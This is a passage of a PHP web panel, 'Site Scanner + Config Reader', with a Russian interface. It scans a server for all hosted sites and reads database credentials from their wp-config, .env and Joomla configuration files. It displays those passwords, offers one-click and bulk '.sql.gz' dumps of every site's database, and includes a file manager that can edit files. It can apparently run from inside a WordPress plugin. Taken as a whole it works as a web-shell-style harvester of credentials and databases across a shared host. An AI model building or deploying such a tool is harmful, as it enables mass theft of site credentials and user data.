        $ar=isset($o[$a['cms']])?$o[$a['cms']]:99; $br=isset($o[$b['cms']])?$o[$b['cms']]:99;
        return $ar!==$br?$ar-$br:strcmp($a['name'],$b['name']);
    });
    return $sites;
}

function scan_sites_from_roots($roots) {
    $by_path = array();
    $scan_log = array();
    $errors = array();
    foreach ($roots as $root) {
        $result = scan_sites($root);
        if (isset($result['error'])) {
            $errors[] = $result['error'];
            $scan_log[] = array('path' => $root, 'ok' => false, 'count' => 0, 'error' => $result['error']);
            continue;
        }
        $added = 0;
        foreach ($result as $site) {
            $key = @realpath($site['path']) ?: $site['path'];
            if (!isset($by_path[$key])) {
                $site['scan_root'] = $root;
                $by_path[$key] = $site;
                $added++;
            }
        }
        $scan_log[] = array('path' => $root, 'ok' => true, 'count' => count($result), 'added' => $added);
    }
    $sites = array_values($by_path);
    usort($sites, function($a, $b) {
        $o=array('WordPress'=>1,'Joomla'=>2,'Laravel'=>3,'Opencart'=>4,'Drupal'=>5,'Magento'=>6,'PrestaShop'=>7,'Symfony'=>8,'Yii2'=>9);
        $ar=isset($o[$a['cms']])?$o[$a['cms']]:99; $br=isset($o[$b['cms']])?$o[$b['cms']]:99;
        return $ar!==$br?$ar-$br:strcmp($a['name'], $b['name']);
    });
    if (empty($sites) && !empty($errors)) {
        return array('error' => implode('; ', $errors), 'scan_log' => $scan_log);
    }
    return array('sites' => $sites, 'scan_log' => $scan_log);
}

if (!app_is_authenticated()) {
    app_render_login_page();
}

$scan_result = scan_sites_from_roots($scan_roots);
if (isset($scan_result['error']) && empty($scan_result['sites'])) {
    $tried_html = '';
    if (!empty($scan_dir_tried)) {
        $parts = array();
        foreach ($scan_dir_tried as $p) {
            $s = score_scan_candidate($p);
            $parts[] = h($p) . (dir_is_readable($p) ? ' ✔' : ' ✘') . ($s >= 0 ? ' (score '.$s.')' : '');
        }
        $tried_html = '<p style="font-size:12px;margin-top:8px;">Проверенные пути:<br>' . implode('<br>', $parts) . '</p>';
    }
    $hint = '<p style="font-size:12px;">Укажите папку вручную: <code>?scan_dir=/полный/путь</code></p>';
    die('<div style="color:#c62828;font-family:sans-serif;margin:20px;"><p><strong>Ошибка:</strong> '.h($scan_result['error']).'</p>'
        .'<p style="font-size:12px;">Скрипт: <code>'.h($current_dir).'</code><br>'
        .'DOCUMENT_ROOT: <code>'.h($root_dir).'</code></p>'
        .$tried_html.$hint.'</div>');
}
$sites = isset($scan_result['sites']) ? $scan_result['sites'] : array();
$scan_log = isset($scan_result['scan_log']) ? $scan_result['scan_log'] : array();
$_site_states = load_site_states();
$_site_status_name_counts = array();
foreach ($sites as $_s) {
    $n = $_s['name'];
    $_site_status_name_counts[$n] = isset($_site_status_name_counts[$n]) ? $_site_status_name_counts[$n] + 1 : 1;
}
$_site_statuses = load_site_statuses();
foreach ($sites as &$_site_ref) {
    merge_site_saved_state($_site_ref, $_site_states);
    merge_site_status($_site_ref, $_site_statuses, $_site_status_name_counts);
}
unset($_site_ref);
$with_status_off = 0;
foreach ($sites as $_s) {
    if (isset($_s['status']) && $_s['status'] === 'off') $with_status_off++;
}
$total=$with_env=$with_wp=$with_joo=$with_htauth=$with_db=$empty=0;
$total=count($sites);
$sites_db_dump_list = array();
foreach ($sites as $s) {
    if ($s['has_env'])           $with_env++;
    if ($s['has_wp_config'])     $with_wp++;
    if ($s['has_joomla_config']) $with_joo++;
    if (!empty($s['has_db_creds'])) {
        $with_db++;
        $sites_db_dump_list[] = array(
            'name'      => $s['name'],
            'path'      => $s['path'],
            'cms'       => $s['cms'],
            'site_url'  => !empty($s['domain_hint']) ? $s['domain_hint'] : $s['name'],
            'db_creds'  => $s['db_creds'],
        );
    }
    if (!empty($s['htaccess_vars']['auth_type'])) $with_htauth++;
    if ($s['cms']==='Empty / Not a site') $empty++;
}
function cms_badge($cms) {
    if (strpos($cms,'WordPress')===0) return 'badge-wp';
    if (strpos($cms,'Joomla')===0)    return 'badge-joo';
    if (strpos($cms,'Laravel')===0)   return 'badge-lar';
    if (strpos($cms,'Opencart')===0)  return 'badge-oc';
    if ($cms==='Empty / Not a site')  return 'badge-empty';
    return 'badge-other';
}
?>
<!doctype html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<title>Site Scanner + Configs</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
* { box-sizing: border-box; }
body { font-family: 'Segoe UI', Arial, sans-serif; margin: 20px; color: #222; background: #fafafa; }
h1 { margin: 0 0 10px; }
h3 { margin: 30px 0 10px; border-bottom: 2px solid #1565c0; padding-bottom: 5px; }
.stats { display: flex; gap: 15px; flex-wrap: wrap; margin: 15px 0; }
.stat-card { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; padding: 10px 16px; min-width: 100px; }
.stat-card .num { font-size: 24px; font-weight: bold; color: #1565c0; }
.stat-card .lbl { font-size: 12px; color: #666; }
table { border-collapse: collapse; width: 100%; background: #fff; border-radius: 8px; overflow: hidden; box-shadow: 0 1px 3px rgba(0,0,0,.1); margin-bottom: 10px; }
th, td { border: 1px solid #e0e0e0; padding: 6px 10px; vertical-align: top; font-size: 12px; }
th { background: #f5f5f5; font-weight: 600; text-align: left; }
tr:hover { background: #fafafa; }
.badge { display: inline-block; padding: 2px 7px; border-radius: 4px; font-size: 11px; font-weight: 600; }
.badge-wp    { background: #e3f2fd; color: #1565c0; }
.badge-joo   { background: #fff3e0; color: #e65100; }
.badge-lar   { background: #fce4ec; color: #880e4f; }
.badge-oc    { background: #e8f5e9; color: #2e7d32; }
.badge-other { background: #f3e5f5; color: #6a1b9a; }
.badge-empty { background: #f5f5f5; color: #999; }
.yes { color: #2e7d32; font-weight: bold; }
.no  { color: #ccc; }
.path { font-size: 11px; color: #666; word-break: break-all; }
code { background: #f0f0f0; padding: 1px 4px; border-radius: 3px; font-size: 11px; }
.config-block { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; padding: 12px 16px; margin-bottom: 15px; }
.config-block h4 { margin: 0 0 8px; }
.config-table { width: auto; min-width: 400px; }
.config-table td:first-child { font-weight: 600; color: #555; white-space: nowrap; }
.password { color: #c62828; }
.info-box { background: #e1f5fe; border: 1px solid #81d4fa; border-radius: 8px; padding: 10px 14px; margin-bottom: 15px; font-size: 12px; }
.section-label { margin: 8px 0 5px; font-weight: 600; font-size: 13px; display: flex; align-items: center; gap: 6px; flex-wrap: wrap; }
.btn-change { background: #1565c0; color: #fff; border: none; border-radius: 4px; padding: 3px 10px; font-size: 11px; cursor: pointer; }
.btn-change:hover { background: #0d47a1; }
.btn-view { background: #6a1b9a; color: #fff; border: none; border-radius: 4px; padding: 2px 8px; font-size: 11px; cursor: pointer; }
.btn-view:hover { background: #4a148c; }
.btn-files { background: #00695c; color: #fff; border: none; border-radius: 4px; padding: 3px 10px; font-size: 11px; cursor: pointer; }
.btn-files:hover { background: #004d40; }
.btn-dump { background: #5d4037; color: #fff; border: none; border-radius: 4px; padding: 3px 10px; font-size: 11px; cursor: pointer; }
.btn-dump:hover { background: #3e2723; }
.btn-dump-all { background: #5d4037; color: #fff; border: none; border-radius: 6px; padding: 8px 16px; font-size: 13px; font-weight: 600; cursor: pointer; }
.btn-dump-all:hover { background: #3e2723; }
.btn-dump-all:disabled { opacity: .5; cursor: not-allowed; }
.db-dump-panel { background: #fff; border: 1px solid #d7ccc8; border-radius: 8px; padding: 14px 16px; margin-bottom: 20px; }
.db-dump-panel h3 { margin: 0 0 10px; border-bottom-color: #5d4037; }
.db-dump-grid { display: grid; gap: 10px; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); }
.db-dump-grid label { display: block; font-size: 11px; font-weight: 600; color: #555; margin-bottom: 3px; }
.db-dump-grid input { width: 100%; padding: 6px 8px; border: 1px solid #ccc; border-radius: 4px; font-size: 12px; box-sizing: border-box; }
.db-dump-snippet { width: 100%; min-height: 110px; padding: 8px 10px; border: 1px solid #ccc; border-radius: 6px; font-family: 'Consolas','Monaco',monospace; font-size: 11px; resize: vertical; box-sizing: border-box; }
.db-dump-actions { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 10px; align-items: center; }
.db-dump-msg { font-size: 12px; margin-top: 8px; }
.db-dump-msg.error { color: #c62828; }
.db-dump-msg.ok { color: #2e7d32; }
.db-dump-site { margin-top: 12px; padding-top: 12px; border-top: 1px dashed #e0e0e0; }
.db-dump-site h5 { margin: 0 0 8px; font-size: 13px; }

/* ===== ФАЙЛОВЫЙ МЕНЕДЖЕР ===== */
.fm-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.65); z-index: 1200; align-items: center; justify-content: center; }
.fm-overlay.active { display: flex; }
.fm-modal { background: #1a1a2e; border-radius: 10px; width: 92vw; max-width: 1100px; height: 85vh; display: flex; flex-direction: column; box-shadow: 0 10px 50px rgba(0,0,0,.6); overflow: hidden; }
.fm-header { background: #16213e; padding: 10px 16px; display: flex; align-items: center; gap: 10px; border-bottom: 1px solid #0f3460; flex-wrap: wrap; }
.fm-title { color: #e0e0e0; font-size: 14px; font-weight: 600; }
.fm-breadcrumb { flex: 1; color: #90caf9; font-size: 12px; font-family: monospace; word-break: break-all; }
.fm-header-actions { display: flex; gap: 6px; }
.fm-btn { background: #0f3460; color: #90caf9; border: 1px solid #1565c0; border-radius: 4px; padding: 4px 12px; font-size: 11px; cursor: pointer; }
.fm-btn:hover { background: #1565c0; color: #fff; }
.fm-btn-close { background: transparent; color: #aaa; border: none; font-size: 22px; cursor: pointer; line-height: 1; padding: 0 4px; }
.fm-btn-close:hover { color: #fff; }
.fm-body { display: flex; flex: 1; overflow: hidden; }
.fm-list-pane { width: 100%; overflow-y: auto; border-right: 1px solid #0f3460; transition: width .2s; }
.fm-list-pane.split { width: 38%; }
.fm-table { width: 100%; border-collapse: collapse; }
.fm-table th { background: #0f3460; color: #90caf9; padding: 6px 10px; font-size: 11px; text-align: left; position: sticky; top: 0; z-index: 1; }
.fm-table td { padding: 5px 10px; font-size: 12px; border-bottom: 1px solid #0f3460; color: #ccc; white-space: nowrap; }
.fm-table tr:hover td { background: #16213e; cursor: pointer; }
.fm-table tr.selected td { background: #1565c0; color: #fff; }
.fm-icon { margin-right: 5px; }
.fm-name { color: #e0e0e0; }
.fm-name.is-dir { color: #90caf9; font-weight: 600; }
.fm-name.is-up  { color: #ffcc80; }
.fm-size  { color: #888; font-size: 11px; text-align: right; }
.fm-mtime { color: #666; font-size: 11px; }
.fm-actions { text-align: right; white-space: nowrap; }
.fm-btn-act { background: transparent; border: 1px solid #37474f; border-radius: 3px; padding: 2px 6px; font-size: 11px; cursor: pointer; margin-left: 3px; color: #90caf9; }
.fm-btn-act:hover { background: #0f3460; border-color: #1565c0; }
.fm-btn-act.danger { color: #ef9a9a; border-color: #c62828; }
.fm-btn-act.danger:hover { background: #4a1515; }
.fm-view-pane { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
.fm-view-header { background: #16213e; padding: 8px 14px; display: flex; align-items: center; gap: 8px; border-bottom: 1px solid #0f3460; flex-wrap: wrap; }
.fm-view-filename { color: #e0e0e0; font-size: 12px; font-family: monospace; font-weight: 600; flex: 1; }
.fm-view-meta { color: #888; font-size: 11px; white-space: nowrap; }
.fm-view-body { flex: 1; overflow: auto; }
.fm-view-body pre { margin: 0; padding: 14px 16px; font-family: 'Consolas','Monaco',monospace; font-size: 12px; line-height: 1.6; color: #d4d4d4; white-space: pre-wrap; word-break: break-all; background: #1a1a2e; min-height: 100%; }
.fm-view-empty { color: #555; padding: 40px; text-align: center; font-size: 13px; }
.fm-loading { color: #888; padding: 30px; text-align: center; font-size: 13px; }
.fm-footer { background: #16213e; padding: 6px 14px; font-size: 11px; color: #666; border-top: 1px solid #0f3460; display: flex; justify-content: space-between; }

/* Редактор */
.fm-edit-pane { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
.fm-edit-header { background: #16213e; padding: 8px 14px; display: flex; align-items: center; gap: 8px; border-bottom: 1px solid #0f3460; flex-wrap: wrap; }
.fm-edit-filename { color: #ffcc80; font-size: 12px; font-family: monospace; font-weight: 600; flex: 1; }
.fm-edit-status { font-size: 11px; white-space: nowrap; }
.fm-edit-body { flex: 1; display: flex; overflow: hidden; }
.fm-editor { flex: 1; width: 100%; border: none; outline: none; resize: none; background: #0d1117; color: #c9d1d9; font-family: 'Consolas','Monaco',monospace; font-size: 12px; line-height: 1.6; padding: 14px 16px; tab-size: 4; }
.fm-btn-edit     { background: #e65100; color: #fff; border: 1px solid #bf360c; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; white-space: nowrap; }
.fm-btn-edit:hover     { background: #bf360c; }
.fm-btn-save-file { background: #2e7d32; color: #fff; border: 1px solid #1b5e20; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; white-space: nowrap; }
.fm-btn-save-file:hover { background: #1b5e20; }
.fm-btn-discard  { background: #37474f; color: #cfd8dc; border: 1px solid #546e7a; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; white-space: nowrap; }
.fm-btn-discard:hover  { background: #546e7a; }

/* Просмотр конфига */
.view-modal-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.6); z-index: 1100; align-items: center; justify-content: center; }
.view-modal-overlay.active { display: flex; }
.view-modal { background: #1e1e1e; border-radius: 10px; padding: 0; min-width: 600px; max-width: 90vw; width: 860px; max-height: 85vh; display: flex; flex-direction: column; box-shadow: 0 8px 40px rgba(0,0,0,.5); }
.view-modal-header { display: flex; align-items: center; justify-content: space-between; padding: 12px 18px; background: #2d2d2d; border-radius: 10px 10px 0 0; }
.view-modal-title { color: #e0e0e0; font-size: 13px; font-weight: 600; font-family: monospace; }
.view-modal-actions { display: flex; gap: 8px; align-items: center; }
.btn-copy-file { background: #37474f; color: #cfd8dc; border: none; border-radius: 4px; padding: 4px 12px; font-size: 11px; cursor: pointer; }
.btn-copy-file:hover { background: #546e7a; }
.btn-close-view { background: transparent; color: #aaa; border: none; font-size: 20px; cursor: pointer; line-height: 1; padding: 0 4px; }
.btn-close-view:hover { color: #fff; }
.view-modal-body { overflow: auto; flex: 1; }
.view-modal-body pre { margin: 0; padding: 16px 18px; font-family: 'Consolas','Monaco',monospace; font-size: 12px; line-height: 1.6; color: #d4d4d4; white-space: pre-wrap; word-break: break-all; background: #1e1e1e; }
.view-modal-footer { padding: 8px 18px; background: #2d2d2d; border-radius: 0 0 10px 10px; font-size: 11px; color: #888; display: flex; justify-content: space-between; }
.view-loading { color: #888; padding: 30px; text-align: center; font-size: 13px; }

/* Смена пароля */
.modal-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.5); z-index: 1000; align-items: center; justify-content: center; }
.modal-overlay.active { display: flex; }
.modal { background: #fff; border-radius: 10px; padding: 24px 28px; min-width: 360px; max-width: 480px; width: 100%; box-shadow: 0 8px 32px rgba(0,0,0,.2); }
.modal h3 { margin: 0 0 16px; font-size: 16px; border: none; }
.modal label { display: block; font-size: 12px; font-weight: 600; margin-bottom: 4px; color: #555; }
.modal input[type=password], .modal input[type=text] { width: 100%; padding: 8px 10px; border: 1px solid #ccc; border-radius: 5px; font-size: 13px; margin-bottom: 12px; }
.modal-actions { display: flex; gap: 10px; justify-content: flex-end; margin-top: 4px; }
.btn-save { background: #2e7d32; color: #fff; border: none; border-radius: 5px; padding: 8px 18px; font-size: 13px; cursor: pointer; }
.btn-save:hover { background: #1b5e20; }
.btn-cancel { background: #f5f5f5; color: #333; border: 1px solid #ccc; border-radius: 5px; padding: 8px 18px; font-size: 13px; cursor: pointer; }
.btn-cancel:hover { background: #e0e0e0; }
.modal-msg { font-size: 12px; margin-top: 8px; padding: 6px 10px; border-radius: 4px; display: none; }
.modal-msg.success { background: #e8f5e9; color: #2e7d32; display: block; }
.modal-msg.error   { background: #ffebee; color: #c62828; display: block; }
.hash-new { font-size: 10px; word-break: break-all; color: #555; margin-top: 6px; }
.pw-wrap { position: relative; }
.pw-wrap input { padding-right: 36px; }
.pw-toggle { position: absolute; right: 8px; top: 50%; transform: translateY(-60%); cursor: pointer; font-size: 16px; color: #888; user-select: none; }
.btn-icon { background: transparent; border: 1px solid #ccc; border-radius: 5px; padding: 4px 8px; cursor: pointer; font-size: 14px; line-height: 1; }
.btn-icon:hover { background: #e3f2fd; border-color: #90caf9; }
.col-actions-icons { white-space: nowrap; text-align: center; }
.site-status-toolbar { display: flex; flex-wrap: wrap; align-items: center; gap: 12px; margin: 0 0 12px; padding: 12px 14px; background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; font-size: 12px; }
.site-status-toolbar label { display: flex; align-items: center; gap: 6px; cursor: pointer; color: #555; }
.site-status-sel { font-size: 12px; padding: 4px 6px; border: 1px solid #ccc; border-radius: 5px; min-width: 130px; background: #fff; cursor: pointer; }
.site-status-sel.status-pending { border-color: #90caf9; background: #e3f2fd; color: #0d47a1; }
.site-status-sel.status-off { border-color: #ef9a9a; background: #ffebee; color: #b71c1c; }
.site-status-sel.status-ok { border-color: #a5d6a7; background: #e8f5e9; color: #1b5e20; }
.site-status-sel.status-unknown { border-color: #ffe082; background: #fff8e1; color: #f57f17; }
.site-status-sel.dirty { box-shadow: 0 0 0 2px #1565c0; }
.btn-save-statuses { background: #1565c0; color: #fff; border: none; border-radius: 5px; padding: 8px 16px; font-size: 12px; cursor: pointer; font-weight: 600; }
.btn-save-statuses:hover { background: #0d47a1; }
.btn-save-statuses:disabled { background: #90a4ae; cursor: default; }
.site-status-msg { font-size: 12px; color: #555; }
.site-status-msg.ok { color: #2e7d32; }
.site-status-msg.error { color: #c62828; }
tr.row-site-pending { background: #f5f9ff; }
tr.row-site-off { background: #fff5f5; }
tr.row-site-off td { color: #666; }
tr.row-site-unknown { background: #fffde7; }
.collapsible-head { cursor: pointer; user-select: none; }
.collapsible-head:hover { color: #1565c0; }
.configs-panel { display: none; }
.configs-panel.open { display: block; }
.db-info-table { width: 100%; font-size: 12px; border-collapse: collapse; }
.db-info-table td, .db-info-table th { border: 1px solid #e0e0e0; padding: 6px 10px; text-align: left; }
.db-info-table th { background: #f5f5f5; width: 38%; }
.header-bar { display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 10px; margin-bottom: 10px; }
.btn-logout { font-size: 12px; color: #666; text-decoration: none; padding: 6px 12px; border: 1px solid #ccc; border-radius: 5px; background: #fff; }
.btn-logout:hover { background: #f5f5f5; }
</style>
</head>
<body>
<div class="header-bar">
    <h1 style="margin:0;">🔍 Site Scanner + Config Reader</h1>
    <?php if (!up_to_wp_mode()): ?>
    <a class="btn-logout" href="?logout=1">Выйти</a>
    <?php else: ?>
    <a class="btn-logout" href="<?php echo function_exists('admin_url') ? h(admin_url('tools.php?page=up-to-scanner')) : '#'; ?>" target="_top">К плагину</a>
    <?php endif; ?>
</div>

<div class="info-box">
    <strong>📌 Автоопределение путей:</strong><br>
    <code>Скрипт запущен из:</code> <?php echo h($current_dir); ?><br>
    <code>DOCUMENT_ROOT:</code> <?php echo h($root_dir); ?><br>
    <code>Основная папка:</code> <strong><?php echo h($scan_dir); ?></strong>
    <?php if (!empty($scan_roots) && count($scan_roots) > 1): ?>
    <br><code>Также сканируем:</code> <?php echo h(implode(', ', array_slice($scan_roots, 1))); ?>
    <?php endif; ?>
    <?php if (!empty($scan_log)): ?>
    <br><br><strong>Результаты по папкам:</strong>
    <ul style="margin:6px 0 0;padding-left:18px;font-size:11px;">
    <?php foreach ($scan_log as $log): ?>
        <li><code><?php echo h($log['path']); ?></code>
        <?php if ($log['ok']): ?> — <?php echo (int)$log['count']; ?> папок<?php if (isset($log['added'])): ?>, +<?php echo (int)$log['added']; ?> новых<?php endif; ?>
        <?php else: ?> — <span style="color:#c62828;"><?php echo h(isset($log['error']) ? $log['error'] : 'нет доступа'); ?></span>
        <?php endif; ?></li>
    <?php endforeach; ?>
    </ul>
    <?php endif; ?>
</div>

<?php if ($total === 0): ?>
<div class="info-box" style="background:#fff3e0;border-color:#ffcc80;">
    ⚠️ Сайты не найдены. Попробуйте: <code>?scan_dir=/home/platne/serwer30178/public_html</code>
</div>
<?php endif; ?>

<div class="stats">
    <div class="stat-card"><div class="num"><?php echo $total; ?></div><div class="lbl">Всего папок</div></div>
    <div class="stat-card"><div class="num"><?php echo $total-$empty; ?></div><div class="lbl">Сайтов</div></div>
    <div class="stat-card"><div class="num"><?php echo $with_wp; ?></div><div class="lbl">WordPress</div></div>
    <div class="stat-card"><div class="num"><?php echo $with_joo; ?></div><div class="lbl">Joomla</div></div>
    <div class="stat-card"><div class="num"><?php echo $with_env; ?></div><div class="lbl">С .env</div></div>
    <div class="stat-card"><div class="num"><?php echo $with_htauth; ?></div><div class="lbl">Basic Auth</div></div>
    <div class="stat-card"><div class="num"><?php echo (int)$with_db; ?></div><div class="lbl">С БД (дамп)</div></div>
</div>

<h3>🗄️ Дампы баз данных</h3>
<div class="db-dump-panel">
    <p style="font-size:12px;color:#555;margin:0 0 12px;">
        Вставьте фрагмент wp-config, .env (Laravel), configuration.php (Joomla) — поля распознаются автоматически.
    </p>
    <label for="db-config-snippet" style="font-size:12px;font-weight:600;">Вставить конфиг БД</label>
    <textarea id="db-config-snippet" class="db-dump-snippet" placeholder="define('DB_NAME', 'mydb'); ..."></textarea>
    <div class="db-dump-actions">
        <button type="button" class="btn-dump" onclick="dbParseSnippet()">🔍 Распознать</button>
        <button type="button" class="btn-dump" onclick="dbFillFromSnippet()">📋 Заполнить поля</button>
        <?php if ($with_db > 0): ?>
        <button type="button" class="btn-dump-all" id="btn-dump-all" onclick="dbDumpAllSites()">⬇️ Скачать все дампы (<?php echo (int)$with_db; ?>)</button>
        <?php endif; ?>
    </div>
    <div class="db-dump-msg" id="db-parse-msg"></div>
    <div class="db-dump-grid" style="margin-top:12px;">
        <div><label>DB host</label><input type="text" id="db-host" value="127.0.0.1"></div>
        <div><label>DB port</label><input type="text" id="db-port" value="3306"></div>
        <div><label>DB name</label><input type="text" id="db-name"></div>
        <div><label>DB user</label><input type="text" id="db-user"></div>
        <div><label>DB password</label><input type="text" id="db-pass" autocomplete="off"></div>
        <div><label>DB charset</label><input type="text" id="db-charset" value="utf8mb4"></div>
        <div><label>Site URL / имя</label><input type="text" id="db-site-url" placeholder="https://example.com"></div>
        <div><label>CMS</label><input type="text" id="db-cms" placeholder="WordPress / Laravel"></div>
    </div>
    <div class="db-dump-actions">
        <button type="button" class="btn-dump-all" onclick="dbDumpManual()">⬇️ Скачать .sql.gz</button>
    </div>
    <div class="db-dump-msg" id="db-dump-msg"></div>
</div>

<h3>📋 Обзор сайтов</h3>
<div class="site-status-toolbar">
    <button type="button" class="btn-save-statuses" id="btn-save-statuses" onclick="siteSaveAllStatuses()" disabled>💾 Сохранить статусы</button>
    <span class="site-status-msg" id="site-status-msg">Файл: <code><?php echo h(site_status_file_path()); ?></code></span>
    <label><input type="checkbox" id="filter-status-off" onchange="siteFilterByStatus()"> Только «не работает»</label>
    <label><input type="checkbox" id="filter-status-unknown" onchange="siteFilterByStatus()"> Только «не проверен»</label>
</div>
<table id="sites-overview-table">
    <thead>
        <tr>
            <th>#</th><th>Папка</th><th>CMS / Тип</th>
            <th>.env</th><th>wp-config</th><th>Joomla cfg</th>
            <th>БД</th>
            <th>Статус</th>
            <th title="Просмотр данных БД">👁</th>
            <th title="Вставить конфиг">✏️</th>
            <th>.htaccess Auth</th><th>Nginx Auth</th><th>index</th><th>Путь</th><th>Действия</th>
        </tr>
    </thead>
    <tbody>
    <?php $i=0; foreach ($sites as $site): $i++;
        $site_row_json = json_encode(array(
            'name'       => $site['name'],
            'path'       => $site['path'],
            'cms'        => $site['cms'],
            'site_url'   => !empty($site['domain_hint']) ? $site['domain_hint'] : $site['name'],
            'site_active'=> !empty($site['site_active']),
            'has_db'     => !empty($site['has_db_creds']),
            'db_creds'   => !empty($site['db_creds']) ? $site['db_creds'] : null,
            'db_info'    => site_db_info_rows($site),
        ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
        $st = isset($site['status']) ? $site['status'] : 'pending';
        $row_class = $st === 'off' ? 'row-site-off' : ($st === 'unknown' ? 'row-site-unknown' : ($st === 'pending' ? 'row-site-pending' : ''));
        $status_key = isset($site['status_key']) ? $site['status_key'] : $site['name'];
    ?>
        <tr class="<?php echo h($row_class); ?>" data-site-path="<?php echo h($site['path']); ?>" data-status="<?php echo h($st); ?>">
            <td><?php echo $i; ?></td>
            <td>
                <strong><?php echo h($site['name']); ?></strong>
                <?php if (!empty($site['domain_hint'])): ?>
                    <br><span class="path"><?php echo h($site['domain_hint']); ?></span>
                <?php endif; ?>
            </td>
            <td><span class="badge <?php echo cms_badge($site['cms']); ?>"><?php echo h($site['cms']); ?></span></td>
            <td><?php echo $site['has_env']           ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?></td>
            <td><?php echo $site['has_wp_config']     ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?></td>
            <td><?php echo $site['has_joomla_config'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?></td>
            <td><?php echo !empty($site['has_db_creds']) ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?>
                <?php if (!empty($site['db_creds_manual'])): ?><span style="font-size:10px;color:#1565c0;" title="Сохранено вручную">✎</span><?php endif; ?>
            </td>
            <td>
                <select class="site-status-sel status-<?php echo h($st); ?>"
                    data-site-key="<?php echo h($status_key); ?>"
                    data-initial="<?php echo h($st); ?>"
                    title="<?php echo h($site['path']); ?>"
                    onchange="siteStatusChanged(this)">
                    <option value="pending" <?php echo $st === 'pending' ? 'selected' : ''; ?>>⏳ Ожидает</option>
                    <option value="ok" <?php echo $st === 'ok' ? 'selected' : ''; ?>>✅ Работает</option>
                    <option value="off" <?php echo $st === 'off' ? 'selected' : ''; ?>>❌ Не работает</option>
                    <option value="unknown" <?php echo $st === 'unknown' ? 'selected' : ''; ?>>❓ Не проверен</option>
                </select>
            </td>
            <td class="col-actions-icons">
                <button type="button" class="btn-icon" title="Данные БД" onclick='siteShowDbInfo(<?php echo $site_row_json; ?>)'>👁</button>
            </td>
            <td class="col-actions-icons">
                <button type="button" class="btn-icon" title="Вставить wp-config / .env" onclick='siteEditDbConfig(<?php echo $site_row_json; ?>)'>✏️</button>
            </td>
            <td><?php echo !empty($site['htaccess_vars']['auth_type']) ? '<span class="yes">✔ Basic</span>' : '<span class="no">✘</span>'; ?></td>
            <td><?php echo !empty($site['nginx_vars']['auth_basic'])   ? '<span class="yes">✔ Basic</span>' : '<span class="no">✘</span>'; ?></td>
            <td><?php echo $site['has_index'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?></td>
            <td class="path"><?php echo h($site['path']); ?></td>
            <td>
                <button class="btn-files" onclick="openFM('<?php echo h(addslashes($site['path'])); ?>','<?php echo h(addslashes($site['name'])); ?>')">📁 Файлы</button>
                <?php if (!empty($site['has_db_creds'])): ?>
                <button class="btn-dump" onclick='dbDumpSite(<?php echo json_encode(array(
                    "name" => $site["name"],
                    "cms" => $site["cms"],
                    "site_url" => !empty($site["domain_hint"]) ? $site["domain_hint"] : $site["name"],
                    "db_creds" => $site["db_creds"],
                ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>)'>⬇️ Дамп</button>
                <?php endif; ?>
            </td>
        </tr>
    <?php endforeach; ?>
    </tbody>
</table>

<h3 class="collapsible-head" onclick="toggleConfigsPanel()" title="Нажмите, чтобы развернуть">
    📄 Конфигурации сайтов <span id="configs-toggle-icon">▶</span>
</h3>
<div class="configs-panel" id="configs-panel">
<?php foreach ($sites as $site): ?>
<div class="config-block">
    <h4>
        <?php echo h($site['name']); ?>
        <span class="badge <?php echo cms_badge($site['cms']); ?>"><?php echo h($site['cms']); ?></span>
        <span style="font-size:11px;color:#888;"> — <?php echo h($site['path']); ?></span>
        <button class="btn-files" style="margin-left:8px;" onclick="openFM('<?php echo h(addslashes($site['path'])); ?>','<?php echo h(addslashes($site['name'])); ?>')">📁 Файлы</button>
        <?php if (!empty($site['has_db_creds'])): ?>
        <button class="btn-dump" style="margin-left:4px;" onclick='dbDumpSite(<?php echo json_encode(array(
            "name" => $site["name"],
            "cms" => $site["cms"],
            "site_url" => !empty($site["domain_hint"]) ? $site["domain_hint"] : $site["name"],
            "db_creds" => $site["db_creds"],
        ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>)'>⬇️ Дамп БД</button>
        <?php endif; ?>
    </h4>

    <div class="db-dump-site">
        <p class="section-label">🗄️ База данных</p>
        <?php if (!empty($site['has_db_creds'])): ?>
        <p style="font-size:11px;color:#555;margin:0 0 8px;">
            <code><?php echo h($site['db_creds']['db_user']); ?></code> →
            <code><?php echo h($site['db_creds']['db_name']); ?></code> @
            <code><?php echo h($site['db_creds']['db_host']); ?>:<?php echo h($site['db_creds']['db_port']); ?></code>
        </p>
        <?php else: ?>
        <p style="font-size:11px;color:#999;margin:0 0 8px;">Учётные данные не найдены в конфигах — вставьте фрагмент ниже.</p>
        <?php endif; ?>
        <textarea class="db-dump-snippet db-site-snippet" rows="4" placeholder="Вставьте wp-config / .env / configuration.php..." data-site="<?php echo h($site['name']); ?>"></textarea>
        <div class="db-dump-actions" style="margin-top:6px;">
            <button type="button" class="btn-dump" onclick="dbParseSiteSnippet('<?php echo h(addslashes($site['name'])); ?>', '<?php echo h(addslashes($site['cms'])); ?>', '<?php echo h(addslashes(!empty($site['domain_hint']) ? $site['domain_hint'] : $site['name'])); ?>')">🔍 Распознать и скачать</button>
        </div>
    </div>

    <?php if (!empty($site['env_vars'])): ?>
        <p class="section-label">.env
